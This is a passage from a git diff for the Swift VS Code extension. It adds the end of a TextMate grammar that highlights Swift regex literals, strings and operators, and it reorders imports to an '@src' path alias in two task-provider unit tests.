"(?x)\n\\\\[pP]\\{ ([\\s\\w-]+(?:=[\\s\\w-]+)?) \\}\n| (\\[:) ([\\s\\w-]+(?:=[\\s\\w-]+)?) (:\\])", + "captures": { + "1": { + "name": "support.variable.character-property.regexp" + }, + "2": { + "name": "punctuation.definition.character-class.regexp" + }, + "3": { + "name": "support.variable.character-property.regexp" + }, + "4": { + "name": "punctuation.definition.character-class.regexp" + } + } + }, + "literals-regular-expression-literal-custom-char-class": { + "patterns": [ + { + "name": "constant.other.character-class.set.regexp", + "begin": "(\\[)(\\^)?", + "end": "\\]", + "beginCaptures": { + "1": { + "name": "punctuation.definition.character-class.regexp" + }, + "2": { + "name": "keyword.operator.negation.regexp" + } + }, + "endCaptures": { + "0": { + "name": "punctuation.definition.character-class.regexp" + } + }, + "patterns": [ + { + "include": "#literals-regular-expression-literal-custom-char-class-members" + } + ] + } + ] + }, + "literals-regular-expression-literal-custom-char-class-members": { + "comment": "TODO: should also include atoms?", + "patterns": [ + { + "comment": "\\b inside a character class represents a backspace", + "name": "constant.character.escape.backslash.regexp", + "match": "\\\\b" + }, + { + "include": "#literals-regular-expression-literal-custom-char-class" + }, + { + "include": "#literals-regular-expression-literal-quote" + }, + { + "include": "#literals-regular-expression-literal-set-operators" + }, + { + "include": "#literals-regular-expression-literal-unicode-scalars" + }, + { + "include": "#literals-regular-expression-literal-character-properties" + } + ] + }, + "literals-regular-expression-literal-group-option-toggle": { + "comment": "A matching option sequence may be part of an \"isolated group\" which has an implicit scope that wraps the remaining elements of the current group", + "name": "keyword.other.option-toggle.regexp", + "match": "(?x)\n\\(\\?\n(?:\n \\^(?:[iJmnsUxwDPSW]|xx|y\\{[gw]\\})*\n | (?:[iJmnsUxwDPSW]|xx|y\\{[gw]\\})+\n | (?:[iJmnsUxwDPSW]|xx|y\\{[gw]\\})* - (?:[iJmnsUxwDPSW]|xx|y\\{[gw]\\})*\n)\n\\)" + }, + "literals-regular-expression-literal-group-or-conditional": { + "patterns": [ + { + "name": "meta.group.absent.regexp", + "begin": "(\\()(\\?~)", + "end": "\\)", + "beginCaptures": { + "1": { + "name": "punctuation.definition.group.regexp" + }, + "2": { + "name": "keyword.control.conditional.absent.regexp" + } + }, + "endCaptures": { + "0": { + "name": "punctuation.definition.group.regexp" + } + }, + "patterns": [ + { + "include": "#literals-regular-expression-literal-regex-guts" + } + ] + }, + { + "name": "meta.group.conditional.regexp", + "begin": "(?x)\n# KnownConditionalStart\n(\\() (?\\?\\()\n (?:\n (? (?[+-]?\\d+)(?:(?[+-])(?\\d+))? )\n | (?R) \\g?\n | (?R&) (? (?(?!\\d)\\w+) (?:(?[+-])(?\\d+))? )\n | (?<) (?:\\g|\\g) (?>)\n | (?') (?:\\g|\\g) (?')\n | (?DEFINE)\n | (?VERSION)(?>?=)(?\\d+\\.\\d+)\n )\n(?\\))\n| (\\()(?\\?)(?=\\()", + "end": "\\)", + "beginCaptures": { + "1": { + "name": "punctuation.definition.group.regexp" + }, + "2": { + "name": "keyword.control.conditional.regexp" + }, + "4": { + "name": "constant.numeric.integer.decimal.regexp" + }, + "5": { + "name": "keyword.operator.recursion-level.regexp" + }, + "6": { + "name": "constant.numeric.integer.decimal.regexp" + }, + "7": { + "name": "keyword.control.conditional.regexp" + }, + "8": { + "name": "keyword.control.conditional.regexp" + }, + "10": { + "name": "variable.other.group-name.regexp" + }, + "11": { + "name": "keyword.operator.recursion-level.regexp" + }, + "12": { + "name": "constant.numeric.integer.decimal.regexp" + }, + "13": { + "name": "keyword.control.conditional.regexp" + }, + "14": { + "name": "keyword.control.conditional.regexp" + }, + "15": { + "name": "keyword.control.conditional.regexp" + }, + "16": { + "name": "keyword.control.conditional.regexp" + }, + "17": { + "name": "keyword.control.conditional.regexp" + }, + "18": { + "name": "keyword.control.conditional.regexp" + }, + "19": { + "name": "keyword.operator.comparison.regexp" + }, + "20": { + "name": "constant.numeric.integer.decimal.regexp" + }, + "21": { + "name": "keyword.control.conditional.regexp" + }, + "22": { + "name": "punctuation.definition.group.regexp" + }, + "23": { + "name": "keyword.control.conditional.regexp" + } + }, + "endCaptures": { + "0": { + "name": "punctuation.definition.group.regexp" + } + }, + "patterns": [ + { + "include": "#literals-regular-expression-literal-regex-guts" + } + ] + }, + { + "name": "meta.group.regexp", + "begin": "(?x)\n(\\()\n(\n # BasicGroupKind\n (\\?)\n (?:\n ([:|>=!*] | <[=!*])\n # named groups\n | P?< (?:((?!\\d)\\w+) (-))? ((?!\\d)\\w+) >\n | ' (?:((?!\\d)\\w+) (-))? ((?!\\d)\\w+) '\n # matching options\n | (?:\n \\^(?:[iJmnsUxwDPSW]|xx|y\\{[gw]\\})*\n | (?:[iJmnsUxwDPSW]|xx|y\\{[gw]\\})+\n | (?:[iJmnsUxwDPSW]|xx|y\\{[gw]\\})* - (?:[iJmnsUxwDPSW]|xx|y\\{[gw]\\})*\n ): # case without : is handled by group-option-toggle\n )\n # PCRE2GroupKind\n | \\*(\n atomic\n |pla|positive_lookahead\n |nla|negative_lookahead\n |plb|positive_lookbehind\n |nlb|negative_lookbehind\n |napla|non_atomic_positive_lookahead\n |naplb|non_atomic_positive_lookbehind\n |sr|script_run\n |asr|atomic_script_run\n ):\n)?+", + "end": "\\)", + "beginCaptures": { + "1": { + "name": "punctuation.definition.group.regexp" + }, + "2": { + "name": "keyword.other.group-options.regexp" + }, + "3": { + "name": "punctuation.definition.group.regexp" + }, + "4": { + "name": "punctuation.definition.group.regexp" + }, + "5": { + "name": "variable.other.group-name.regexp" + }, + "6": { + "name": "keyword.operator.balancing-group.regexp" + }, + "7": { + "name": "variable.other.group-name.regexp" + }, + "8": { + "name": "variable.other.group-name.regexp" + }, + "9": { + "name": "keyword.operator.balancing-group.regexp" + }, + "10": { + "name": "variable.other.group-name.regexp" + } + }, + "endCaptures": { + "0": { + "name": "punctuation.definition.group.regexp" + } + }, + "patterns": [ + { + "include": "#literals-regular-expression-literal-regex-guts" + } + ] + } + ] + }, + "literals-regular-expression-literal-line-comment": { + "name": "comment.line.regexp", + "match": "(\\#).*$", + "captures": { + "1": { + "name": "punctuation.definition.comment.regexp" + } + } + }, + "literals-regular-expression-literal-quote": { + "name": "string.quoted.other.regexp.swift", + "begin": "\\\\Q", + "end": "\\\\E|(\\n)", + "beginCaptures": { + "0": { + "name": "constant.character.escape.backslash.regexp" + } + }, + "endCaptures": { + "0": { + "name": "constant.character.escape.backslash.regexp" + }, + "1": { + "name": "invalid.illegal.returns-not-allowed.regexp" + } + } + }, + "literals-regular-expression-literal-regex-guts": { + "patterns": [ + { + "include": "#literals-regular-expression-literal-quote" + }, + { + "name": "comment.block.regexp", + "begin": "\\(\\?\\#", + "end": "\\)", + "beginCaptures": { + "0": { + "name": "punctuation.definition.comment.begin.regexp" + } + }, + "endCaptures": { + "0": { + "name": "punctuation.definition.comment.end.regexp" + } + } + }, + { + "name": "meta.embedded.expression.regexp", + "begin": "<\\{", + "end": "\\}>", + "beginCaptures": { + "0": { + "name": "punctuation.section.embedded.begin.regexp" + } + }, + "endCaptures": { + "0": { + "name": "punctuation.section.embedded.end.regexp" + } + } + }, + { + "include": "#literals-regular-expression-literal-unicode-scalars" + }, + { + "include": "#literals-regular-expression-literal-character-properties" + }, + { + "name": "keyword.control.anchor.regexp", + "match": "[$^]|\\\\[AbBGyYzZ]|\\\\K" + }, + { + "include": "#literals-regular-expression-literal-backtracking-directive-or-global-matching-option" + }, + { + "include": "#literals-regular-expression-literal-callout" + }, + { + "include": "#literals-regular-expression-literal-backreference-or-subpattern" + }, + { + "name": "constant.character.character-class.regexp", + "match": "\\.|\\\\[CdDhHNORsSvVwWX]" + }, + { + "name": "constant.character.entity.control-character.regexp", + "match": "\\\\c." + }, + { + "name": "constant.character.escape.backslash.regexp", + "match": "\\\\[^c]" + }, + { + "name": "keyword.operator.or.regexp", + "match": "\\|" + }, + { + "name": "keyword.operator.quantifier.regexp", + "match": "[*+?]" + }, + { + "name": "keyword.operator.quantifier.regexp", + "match": "\\{\\s*\\d+\\s*(?:,\\s*\\d*\\s*)?\\}|\\{\\s*,\\s*\\d+\\s*\\}" + }, + { + "include": "#literals-regular-expression-literal-custom-char-class" + }, + { + "include": "#literals-regular-expression-literal-group-option-toggle" + }, + { + "include": "#literals-regular-expression-literal-group-or-conditional" + } + ] + }, + "literals-regular-expression-literal-set-operators": { + "patterns": [ + { + "name": "keyword.operator.intersection.regexp.swift", + "match": "&&" + }, + { + "name": "keyword.operator.subtraction.regexp.swift", + "match": "--" + }, + { + "name": "keyword.operator.symmetric-difference.regexp.swift", + "match": "\\~\\~" + } + ] + }, + "literals-regular-expression-literal-unicode-scalars": { + "name": "constant.character.numeric.regexp", + "match": "(?x)\n\\\\u\\{\\s*(?:[0-9a-fA-F]+\\s*)+\\}\n| \\\\u[0-9a-fA-F]{4}\n| \\\\x\\{[0-9a-fA-F]+\\}\n| \\\\x[0-9a-fA-F]{0,2}\n| \\\\U[0-9a-fA-F]{8}\n| \\\\o\\{[0-7]+\\}\n| \\\\0[0-7]{0,3}\n| \\\\N\\{(?:U\\+[0-9a-fA-F]{1,8} | [\\s\\w-]+)\\}" + }, + "literals-string": { + "patterns": [ + { + "comment": "SE-0168: Multi-Line String Literals", + "name": "string.quoted.double.block.swift", + "begin": "\"\"\"", + "end": "\"\"\"(#*)", + "beginCaptures": { + "0": { + "name": "punctuation.definition.string.begin.swift" + } + }, + "endCaptures": { + "0": { + "name": "punctuation.definition.string.end.swift" + }, + "1": { + "name": "invalid.illegal.extra-closing-delimiter.swift" + } + }, + "patterns": [ + { + "name": "invalid.illegal.content-after-opening-delimiter.swift", + "match": "\\G.+(?=\"\"\")|\\G.+" + }, + { + "name": "constant.character.escape.newline.swift", + "match": "\\\\\\s*\\n" + }, + { + "include": "#literals-string-string-guts" + }, + { + "comment": "Allow \\(\"\"\"...\"\"\") to appear inside a block string", + "name": "invalid.illegal.content-before-closing-delimiter.swift", + "match": "\\S((?!\\\\\\().)*(?=\"\"\")" + } + ] + }, + { + "name": "string.quoted.double.block.raw.swift", + "begin": "#\"\"\"", + "end": "\"\"\"#(#*)", + "beginCaptures": { + "0": { + "name": "punctuation.definition.string.begin.swift" + } + }, + "endCaptures": { + "0": { + "name": "punctuation.definition.string.end.swift" + }, + "1": { + "name": "invalid.illegal.extra-closing-delimiter.swift" + } + }, + "patterns": [ + { + "name": "invalid.illegal.content-after-opening-delimiter.swift", + "match": "\\G.+(?=\"\"\")|\\G.+" + }, + { + "name": "constant.character.escape.newline.swift", + "match": "\\\\#\\s*\\n" + }, + { + "include": "#literals-string-raw-string-guts" + }, + { + "comment": "Allow \\(\"\"\"...\"\"\") to appear inside a block string", + "name": "invalid.illegal.content-before-closing-delimiter.swift", + "match": "\\S((?!\\\\#\\().)*(?=\"\"\")" + } + ] + }, + { + "name": "string.quoted.double.block.raw.swift", + "begin": "(##+)\"\"\"", + "end": "\"\"\"\\1(#*)", + "beginCaptures": { + "0": { + "name": "punctuation.definition.string.begin.swift" + } + }, + "endCaptures": { + "0": { + "name": "punctuation.definition.string.end.swift" + }, + "1": { + "name": "invalid.illegal.extra-closing-delimiter.swift" + } + }, + "patterns": [ + { + "name": "invalid.illegal.content-after-opening-delimiter.swift", + "match": "\\G.+(?=\"\"\")|\\G.+" + } + ] + }, + { + "name": "string.quoted.double.single-line.swift", + "begin": "\"", + "end": "\"(#*)", + "beginCaptures": { + "0": { + "name": "punctuation.definition.string.begin.swift" + } + }, + "endCaptures": { + "0": { + "name": "punctuation.definition.string.end.swift" + }, + "1": { + "name": "invalid.illegal.extra-closing-delimiter.swift" + } + }, + "patterns": [ + { + "name": "invalid.illegal.returns-not-allowed.swift", + "match": "\\r|\\n" + }, + { + "include": "#literals-string-string-guts" + } + ] + }, + { + "comment": "SE-0168: raw string literals (more than one #, grammar limitations prevent us from supporting escapes)", + "name": "string.quoted.double.single-line.raw.swift", + "begin": "(##+)\"", + "end": "\"\\1(#*)", + "beginCaptures": { + "0": { + "name": "punctuation.definition.string.begin.raw.swift" + } + }, + "endCaptures": { + "0": { + "name": "punctuation.definition.string.end.raw.swift" + }, + "1": { + "name": "invalid.illegal.extra-closing-delimiter.swift" + } + }, + "patterns": [ + { + "name": "invalid.illegal.returns-not-allowed.swift", + "match": "\\r|\\n" + } + ] + }, + { + "comment": "SE-0168: raw string literals (one #, escapes supported)", + "name": "string.quoted.double.single-line.raw.swift", + "begin": "#\"", + "end": "\"#(#*)", + "beginCaptures": { + "0": { + "name": "punctuation.definition.string.begin.raw.swift" + } + }, + "endCaptures": { + "0": { + "name": "punctuation.definition.string.end.raw.swift" + }, + "1": { + "name": "invalid.illegal.extra-closing-delimiter.swift" + } + }, + "patterns": [ + { + "name": "invalid.illegal.returns-not-allowed.swift", + "match": "\\r|\\n" + }, + { + "include": "#literals-string-raw-string-guts" + } + ] + } + ] + }, + "literals-string-raw-string-guts": { + "comment": "the same as #string-guts but with # in escapes", + "patterns": [ + { + "name": "constant.character.escape.swift", + "match": "\\\\#[0\\\\tnr\"']" + }, + { + "name": "constant.character.escape.unicode.swift", + "match": "\\\\#u\\{[0-9a-fA-F]{1,8}\\}" + }, + { + "contentName": "source.swift", + "name": "meta.embedded.line.swift", + "begin": "\\\\#\\(", + "end": "(\\))", + "beginCaptures": { + "0": { + "name": "punctuation.section.embedded.begin.swift" + } + }, + "endCaptures": { + "0": { + "name": "punctuation.section.embedded.end.swift" + }, + "1": { + "name": "source.swift" + } + }, + "patterns": [ + { + "include": "$self" + }, + { + "comment": "Nested parens", + "begin": "\\(", + "end": "\\)" + } + ] + }, + { + "name": "invalid.illegal.escape-not-recognized", + "match": "\\\\#." + } + ] + }, + "literals-string-string-guts": { + "patterns": [ + { + "name": "constant.character.escape.swift", + "match": "\\\\[0\\\\tnr\"']" + }, + { + "name": "constant.character.escape.unicode.swift", + "match": "\\\\u\\{[0-9a-fA-F]{1,8}\\}" + }, + { + "contentName": "source.swift", + "name": "meta.embedded.line.swift", + "begin": "\\\\\\(", + "end": "(\\))", + "beginCaptures": { + "0": { + "name": "punctuation.section.embedded.begin.swift" + } + }, + "endCaptures": { + "0": { + "name": "punctuation.section.embedded.end.swift" + }, + "1": { + "name": "source.swift" + } + }, + "patterns": [ + { + "include": "$self" + }, + { + "comment": "Nested parens", + "begin": "\\(", + "end": "\\)" + } + ] + }, + { + "name": "invalid.illegal.escape-not-recognized", + "match": "\\\\." + } + ] + }, + "member-reference": { + "patterns": [ + { + "match": "(?<=\\.)((?`?)[\\p{L}_][\\p{L}_\\p{N}\\p{M}]*(\\k))", + "captures": { + "1": { + "name": "variable.other.swift" + }, + "2": { + "name": "punctuation.definition.identifier.swift" + }, + "3": { + "name": "punctuation.definition.identifier.swift" + } + } + } + ] + }, + "operators": { + "patterns": [ + { + "comment": "Type casting", + "name": "keyword.operator.type-casting.swift", + "match": "\\b(is\\b|as([!?]\\B|\\b))" + }, + { + "comment": "This rule helps us speed up the matching.", + "begin": "(?x)\n(?=\n (? # operator-head\n [/=\\-+!*%<>&|^~?]\n | [\\x{00A1}-\\x{00A7}]\n | [\\x{00A9}\\x{00AB}]\n | [\\x{00AC}\\x{00AE}]\n | [\\x{00B0}-\\x{00B1}\\x{00B6}\\x{00BB}\\x{00BF}\\x{00D7}\\x{00F7}]\n | [\\x{2016}-\\x{2017}\\x{2020}-\\x{2027}]\n | [\\x{2030}-\\x{203E}]\n | [\\x{2041}-\\x{2053}]\n | [\\x{2055}-\\x{205E}]\n | [\\x{2190}-\\x{23FF}]\n | [\\x{2500}-\\x{2775}]\n | [\\x{2794}-\\x{2BFF}]\n | [\\x{2E00}-\\x{2E7F}]\n | [\\x{3001}-\\x{3003}]\n | [\\x{3008}-\\x{3030}]\n )\n | \\.\n (\n \\g # operator-head\n | \\.\n | [\\x{0300}-\\x{036F}] # operator-character\n | [\\x{1DC0}-\\x{1DFF}]\n | [\\x{20D0}-\\x{20FF}]\n | [\\x{FE00}-\\x{FE0F}]\n | [\\x{FE20}-\\x{FE2F}]\n | [\\x{E0100}-\\x{E01EF}]\n )\n)", + "end": "(?!\\G)", + "patterns": [ + { + "comment": "Prefix unary operator", + "match": "(?x)\n\\G # Matching from the beginning ensures\n # that we start with operator-head\n(?<=^|[\\s(\\[{,;:])\n(\n (?!(//|/\\*|\\*/))\n (\n [/=\\-+!*%<>&|^~?] # operator-head\n | [\\x{00A1}-\\x{00A7}]\n | [\\x{00A9}\\x{00AB}]\n | [\\x{00AC}\\x{00AE}]\n | [\\x{00B0}-\\x{00B1}\\x{00B6}\\x{00BB}\\x{00BF}\\x{00D7}\\x{00F7}]\n | [\\x{2016}-\\x{2017}\\x{2020}-\\x{2027}]\n | [\\x{2030}-\\x{203E}]\n | [\\x{2041}-\\x{2053}]\n | [\\x{2055}-\\x{205E}]\n | [\\x{2190}-\\x{23FF}]\n | [\\x{2500}-\\x{2775}]\n | [\\x{2794}-\\x{2BFF}]\n | [\\x{2E00}-\\x{2E7F}]\n | [\\x{3001}-\\x{3003}]\n | [\\x{3008}-\\x{3030}]\n \n | [\\x{0300}-\\x{036F}] # operator-character\n | [\\x{1DC0}-\\x{1DFF}]\n | [\\x{20D0}-\\x{20FF}]\n | [\\x{FE00}-\\x{FE0F}]\n | [\\x{FE20}-\\x{FE2F}]\n | [\\x{E0100}-\\x{E01EF}]\n )\n)++\n(?![\\s)\\]},;:]|\\z)", + "captures": { + "0": { + "patterns": [ + { + "name": "keyword.operator.increment-or-decrement.swift", + "match": "\\G(\\+\\+|\\-\\-)$" + }, + { + "name": "keyword.operator.arithmetic.unary.swift", + "match": "\\G(\\+|\\-)$" + }, + { + "name": "keyword.operator.logical.not.swift", + "match": "\\G!$" + }, + { + "name": "keyword.operator.bitwise.not.swift", + "match": "\\G~$" + }, + { + "name": "keyword.operator.custom.prefix.swift", + "match": ".+" + } + ] + } + } + }, + { + "comment": "Postfix unary operator", + "match": "(?x)\n\\G # Matching from the beginning ensures\n # that we start with operator-head\n(?&|^~?] # operator-head\n | [\\x{00A1}-\\x{00A7}]\n | [\\x{00A9}\\x{00AB}]\n | [\\x{00AC}\\x{00AE}]\n | [\\x{00B0}-\\x{00B1}\\x{00B6}\\x{00BB}\\x{00BF}\\x{00D7}\\x{00F7}]\n | [\\x{2016}-\\x{2017}\\x{2020}-\\x{2027}]\n | [\\x{2030}-\\x{203E}]\n | [\\x{2041}-\\x{2053}]\n | [\\x{2055}-\\x{205E}]\n | [\\x{2190}-\\x{23FF}]\n | [\\x{2500}-\\x{2775}]\n | [\\x{2794}-\\x{2BFF}]\n | [\\x{2E00}-\\x{2E7F}]\n | [\\x{3001}-\\x{3003}]\n | [\\x{3008}-\\x{3030}]\n \n | [\\x{0300}-\\x{036F}] # operator-character\n | [\\x{1DC0}-\\x{1DFF}]\n | [\\x{20D0}-\\x{20FF}]\n | [\\x{FE00}-\\x{FE0F}]\n | [\\x{FE20}-\\x{FE2F}]\n | [\\x{E0100}-\\x{E01EF}]\n )\n)++\n(?=[\\s)\\]},;:]|\\z)", + "captures": { + "0": { + "patterns": [ + { + "name": "keyword.operator.increment-or-decrement.swift", + "match": "\\G(\\+\\+|\\-\\-)$" + }, + { + "name": "keyword.operator.increment-or-decrement.swift", + "match": "\\G!$" + }, + { + "name": "keyword.operator.custom.postfix.swift", + "match": ".+" + } + ] + } + } + }, + { + "comment": "Infix operator", + "match": "(?x)\n\\G # Matching from the beginning ensures\n # that we start with operator-head\n(\n (?!(//|/\\*|\\*/))\n (\n [/=\\-+!*%<>&|^~?] # operator-head\n | [\\x{00A1}-\\x{00A7}]\n | [\\x{00A9}\\x{00AB}]\n | [\\x{00AC}\\x{00AE}]\n | [\\x{00B0}-\\x{00B1}\\x{00B6}\\x{00BB}\\x{00BF}\\x{00D7}\\x{00F7}]\n | [\\x{2016}-\\x{2017}\\x{2020}-\\x{2027}]\n | [\\x{2030}-\\x{203E}]\n | [\\x{2041}-\\x{2053}]\n | [\\x{2055}-\\x{205E}]\n | [\\x{2190}-\\x{23FF}]\n | [\\x{2500}-\\x{2775}]\n | [\\x{2794}-\\x{2BFF}]\n | [\\x{2E00}-\\x{2E7F}]\n | [\\x{3001}-\\x{3003}]\n | [\\x{3008}-\\x{3030}]\n \n | [\\x{0300}-\\x{036F}] # operator-character\n | [\\x{1DC0}-\\x{1DFF}]\n | [\\x{20D0}-\\x{20FF}]\n | [\\x{FE00}-\\x{FE0F}]\n | [\\x{FE20}-\\x{FE2F}]\n | [\\x{E0100}-\\x{E01EF}]\n )\n)++", + "captures": { + "0": { + "patterns": [ + { + "name": "keyword.operator.assignment.swift", + "match": "\\G=$" + }, + { + "name": "keyword.operator.assignment.compound.swift", + "match": "\\G(\\+|\\-|\\*|/|%|<<|>>|&|\\^|\\||&&|\\|\\|)=$" + }, + { + "name": "keyword.operator.arithmetic.swift", + "match": "\\G(\\+|\\-|\\*|/)$" + }, + { + "name": "keyword.operator.arithmetic.overflow.swift", + "match": "\\G&(\\+|\\-|\\*)$" + }, + { + "name": "keyword.operator.arithmetic.remainder.swift", + "match": "\\G%$" + }, + { + "name": "keyword.operator.comparison.swift", + "match": "\\G(==|!=|>|<|>=|<=|~=)$" + }, + { + "name": "keyword.operator.coalescing.swift", + "match": "\\G\\?\\?$" + }, + { + "name": "keyword.operator.logical.swift", + "match": "\\G(&&|\\|\\|)$" + }, + { + "name": "keyword.operator.bitwise.swift", + "match": "\\G(&|\\||\\^|<<|>>)$" + }, + { + "name": "keyword.operator.bitwise.swift", + "match": "\\G(===|!==)$" + }, + { + "name": "keyword.operator.ternary.swift", + "match": "\\G\\?$" + }, + { + "name": "keyword.operator.custom.infix.swift", + "match": ".+" + } + ] + } + } + }, + { + "comment": "Dot prefix unary operator", + "match": "(?x)\n\\G # Matching from the beginning ensures\n # that we start with operator-head\n(?<=^|[\\s(\\[{,;:])\n\\. # dot\n(\n (?!(//|/\\*|\\*/))\n (\n \\. # dot\n | [/=\\-+!*%<>&|^~?] # operator-head\n | [\\x{00A1}-\\x{00A7}]\n | [\\x{00A9}\\x{00AB}]\n | [\\x{00AC}\\x{00AE}]\n | [\\x{00B0}-\\x{00B1}\\x{00B6}\\x{00BB}\\x{00BF}\\x{00D7}\\x{00F7}]\n | [\\x{2016}-\\x{2017}\\x{2020}-\\x{2027}]\n | [\\x{2030}-\\x{203E}]\n | [\\x{2041}-\\x{2053}]\n | [\\x{2055}-\\x{205E}]\n | [\\x{2190}-\\x{23FF}]\n | [\\x{2500}-\\x{2775}]\n | [\\x{2794}-\\x{2BFF}]\n | [\\x{2E00}-\\x{2E7F}]\n | [\\x{3001}-\\x{3003}]\n | [\\x{3008}-\\x{3030}]\n \n | [\\x{0300}-\\x{036F}] # operator-character\n | [\\x{1DC0}-\\x{1DFF}]\n | [\\x{20D0}-\\x{20FF}]\n | [\\x{FE00}-\\x{FE0F}]\n | [\\x{FE20}-\\x{FE2F}]\n | [\\x{E0100}-\\x{E01EF}]\n )\n)++\n(?![\\s)\\]},;:]|\\z)", + "captures": { + "0": { + "patterns": [ + { + "name": "keyword.operator.custom.prefix.dot.swift", + "match": ".+" + } + ] + } + } + }, + { + "comment": "Dot postfix unary operator", + "match": "(?x)\n\\G # Matching from the beginning ensures\n # that we start with operator-head\n(?&|^~?] # operator-head\n | [\\x{00A1}-\\x{00A7}]\n | [\\x{00A9}\\x{00AB}]\n | [\\x{00AC}\\x{00AE}]\n | [\\x{00B0}-\\x{00B1}\\x{00B6}\\x{00BB}\\x{00BF}\\x{00D7}\\x{00F7}]\n | [\\x{2016}-\\x{2017}\\x{2020}-\\x{2027}]\n | [\\x{2030}-\\x{203E}]\n | [\\x{2041}-\\x{2053}]\n | [\\x{2055}-\\x{205E}]\n | [\\x{2190}-\\x{23FF}]\n | [\\x{2500}-\\x{2775}]\n | [\\x{2794}-\\x{2BFF}]\n | [\\x{2E00}-\\x{2E7F}]\n | [\\x{3001}-\\x{3003}]\n | [\\x{3008}-\\x{3030}]\n \n | [\\x{0300}-\\x{036F}] # operator-character\n | [\\x{1DC0}-\\x{1DFF}]\n | [\\x{20D0}-\\x{20FF}]\n | [\\x{FE00}-\\x{FE0F}]\n | [\\x{FE20}-\\x{FE2F}]\n | [\\x{E0100}-\\x{E01EF}]\n )\n)++\n(?=[\\s)\\]},;:]|\\z)", + "captures": { + "0": { + "patterns": [ + { + "name": "keyword.operator.custom.postfix.dot.swift", + "match": ".+" + } + ] + } + } + }, + { + "comment": "Dot infix operator", + "match": "(?x)\n\\G # Matching from the beginning ensures\n # that we start with operator-head\n\\. # dot\n(\n (?!(//|/\\*|\\*/))\n (\n \\. # dot\n | [/=\\-+!*%<>&|^~?] # operator-head\n | [\\x{00A1}-\\x{00A7}]\n | [\\x{00A9}\\x{00AB}]\n | [\\x{00AC}\\x{00AE}]\n | [\\x{00B0}-\\x{00B1}\\x{00B6}\\x{00BB}\\x{00BF}\\x{00D7}\\x{00F7}]\n | [\\x{2016}-\\x{2017}\\x{2020}-\\x{2027}]\n | [\\x{2030}-\\x{203E}]\n | [\\x{2041}-\\x{2053}]\n | [\\x{2055}-\\x{205E}]\n | [\\x{2190}-\\x{23FF}]\n | [\\x{2500}-\\x{2775}]\n | [\\x{2794}-\\x{2BFF}]\n | [\\x{2E00}-\\x{2E7F}]\n | [\\x{3001}-\\x{3003}]\n | [\\x{3008}-\\x{3030}]\n \n | [\\x{0300}-\\x{036F}] # operator-character\n | [\\x{1DC0}-\\x{1DFF}]\n | [\\x{20D0}-\\x{20FF}]\n | [\\x{FE00}-\\x{FE0F}]\n | [\\x{FE20}-\\x{FE2F}]\n | [\\x{E0100}-\\x{E01EF}]\n )\n)++", + "captures": { + "0": { + "patterns": [ + { + "name": "keyword.operator.range.swift", + "match": "\\G\\.\\.[.<]$" + }, + { + "name": "keyword.operator.custom.infix.dot.swift", + "match": ".+" + } + ] + } + } + } + ] + }, + { + "name": "keyword.operator.ternary.swift", + "match": ":" + } + ] + }, + "root": { + "patterns": [ + { + "include": "#compiler-control" + }, + { + "include": "#declarations" + }, + { + "include": "#expressions" + } + ] + } + } +} diff --git a/test/unit-tests/tasks/SwiftPluginTaskProvider.test.ts b/test/unit-tests/tasks/SwiftPluginTaskProvider.test.ts index 9f637eec2..4f90d934c 100644 --- a/test/unit-tests/tasks/SwiftPluginTaskProvider.test.ts +++ b/test/unit-tests/tasks/SwiftPluginTaskProvider.test.ts @@ -11,21 +11,22 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - -import * as vscode from "vscode"; import * as assert from "assert"; import * as os from "os"; import * as path from "path"; import { match } from "sinon"; -import { WorkspaceContext } from "../../../src/WorkspaceContext"; -import { SwiftPluginTaskProvider } from "../../../src/tasks/SwiftPluginTaskProvider"; -import { SwiftToolchain } from "../../../src/toolchain/toolchain"; -import { SwiftExecution } from "../../../src/tasks/SwiftExecution"; -import { Version } from "../../../src/utilities/version"; -import { BuildFlags } from "../../../src/toolchain/BuildFlags"; -import { instance, MockedObject, mockFn, mockGlobalValue, mockObject } from "../../MockUtils"; -import { FolderContext } from "../../../src/FolderContext"; -import configuration from "../../../src/configuration"; +import * as vscode from "vscode"; + +import { FolderContext } from "@src/FolderContext"; +import { WorkspaceContext } from "@src/WorkspaceContext"; +import configuration from "@src/configuration"; +import { SwiftExecution } from "@src/tasks/SwiftExecution"; +import { SwiftPluginTaskProvider } from "@src/tasks/SwiftPluginTaskProvider"; +import { BuildFlags } from "@src/toolchain/BuildFlags"; +import { SwiftToolchain } from "@src/toolchain/toolchain"; +import { Version } from "@src/utilities/version"; + +import { MockedObject, instance, mockFn, mockGlobalValue, mockObject } from "../../MockUtils"; suite("SwiftPluginTaskProvider Unit Test Suite", () => { let workspaceContext: MockedObject; diff --git a/test/unit-tests/tasks/SwiftTaskProvider.test.ts b/test/unit-tests/tasks/SwiftTaskProvider.test.ts index ed2352f94..1cefd5a78 100644 --- a/test/unit-tests/tasks/SwiftTaskProvider.test.ts +++ b/test/unit-tests/tasks/SwiftTaskProvider.test.ts @@ -11,34 +11,35 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - -import * as vscode from "vscode"; import * as assert from "assert"; import * as os from "os"; import { match } from "sinon"; -import { WorkspaceContext } from "../../../src/WorkspaceContext"; +import * as vscode from "vscode"; + +import { FolderContext } from "@src/FolderContext"; +import { WorkspaceContext } from "@src/WorkspaceContext"; +import configuration from "@src/configuration"; +import { SwiftExecution } from "@src/tasks/SwiftExecution"; import { SwiftTaskProvider, buildOptions, createSwiftTask, getBuildAllTask, platformDebugBuildOptions, -} from "../../../src/tasks/SwiftTaskProvider"; -import { SwiftToolchain } from "../../../src/toolchain/toolchain"; -import { SwiftExecution } from "../../../src/tasks/SwiftExecution"; -import { Version } from "../../../src/utilities/version"; -import { BuildFlags } from "../../../src/toolchain/BuildFlags"; +} from "@src/tasks/SwiftTaskProvider"; +import { BuildFlags } from "@src/toolchain/BuildFlags"; +import { Sanitizer } from "@src/toolchain/Sanitizer"; +import { SwiftToolchain } from "@src/toolchain/toolchain"; +import { Version } from "@src/utilities/version"; + import { - mockObject, - mockGlobalObject, - mockGlobalValue, MockedObject, instance, mockFn, + mockGlobalObject, + mockGlobalValue, + mockObject, } from "../../MockUtils"; -import configuration from "../../../src/configuration"; -import { Sanitizer } from "../../../src/toolchain/Sanitizer"; -import { FolderContext } from "../../../src/FolderContext"; suite("SwiftTaskProvider Unit Test Suite", () => { let workspaceContext: MockedObject; diff --git a/test/unit-tests/terminal.test.ts b/test/unit-tests/terminal.test.ts new file mode 100644 index 000000000..e4a3f2e56 --- /dev/null +++ b/test/unit-tests/terminal.test.ts @@ -0,0 +1,286 @@ 